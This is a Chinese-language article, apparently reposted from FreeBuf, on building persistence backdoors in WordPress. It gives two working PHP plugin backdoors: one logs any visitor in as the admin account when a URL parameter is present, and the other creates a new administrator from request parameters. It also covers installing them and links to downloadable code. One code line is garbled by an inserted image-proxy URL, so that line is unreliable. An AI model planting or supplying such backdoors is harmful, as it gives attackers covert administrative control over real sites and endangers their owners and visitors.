當前位置:
首頁 > 新聞 > 許可權後門系列之一:手動打造WordPress許可權後門

許可權後門系列之一:手動打造WordPress許可權後門

許可權後門是最容易被管理員忽視的環節,通常需要對系統進行全面檢查才能發現。本文以Wordpress為例,介紹兩種新型的後門方式。


方案1 - 自動登錄管理員賬號

這種方案較為隱蔽,我們只要找到一個管理員賬號,調用Wordpress API,實現自動登錄即可。



在測試環境中,我們只有 admin 一個賬號。為了登錄這個admin 賬號,我們需要進行如下操作

// 當帶有 "update" 字樣時就執行後門
if (! isset ($_GET["update"]))
{
    return;
}

$user = get_user_by("login", "admin");
if (! is_wp_error($user))
{
   // 清空當前認證信息
   wp_clear_auth_cookie();
   // 設置管理員的認證信息
   wp_set_current_user($user->ID);
   wp_set_auth_cookie($user->ID);
   // 跳轉到管理後台
   wp_safe_redirect(user_admin_url(//img.ifuun.com/getimg.php?url=));

   exit();
}

我們登錄伺服器,將插件釋放在 wp-content/plugins/001-autologin.php,並激活插件,e.g


激活後,就可以成功登錄了。這裡為了方便演示,用的cURL命令



方案2 - 創建管理賬號


這個方法會根據用戶輸入的賬號和密碼,創建管理員賬號。我們編寫如下插件,安裝到 WordPress 里,

$__username = @$_REQUEST["__username"];
$__password = @$_REQUEST["__password"];

if (! isset ($__username) || ! isset ($__password) || username_exists ($__username))
{
   return;
}

// 創建用戶
$user = wp_create_user($__username, $__password, "root@localhost.localdomain");
if (! is_wp_error($user))
{
   $user = get_user_by("login", $__username);
   // 設置為管理員角色
   $user->set_role("administrator");
   exit();
}

激活插件後,我們觸發一下



使用剛剛提交的賬號密碼,aka hello:world 登錄,發現管理員賬號已經添加成功了:



寫在最後

本文只是以Wordpress插件為例,講解如何實現後門機制,後門代碼並不一定放在插件里。至於如何隱藏後門,本文不再贅述。


完整的測試代碼可以在這裡下載:https://rasp.baidu.com/download/


*本文作者:c0debreak ,轉載請註明來自FreeBuf.COM

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

CVE 2017-0199漏洞利用的新姿勢
年度盤點 | 2017年的數據泄露帶給我們的經驗與教訓
2017年的數據泄露帶給我們的經驗與教訓
年度盤點 | 2017年最嚴重的七大數據泄露事件

TAG:FreeBuf |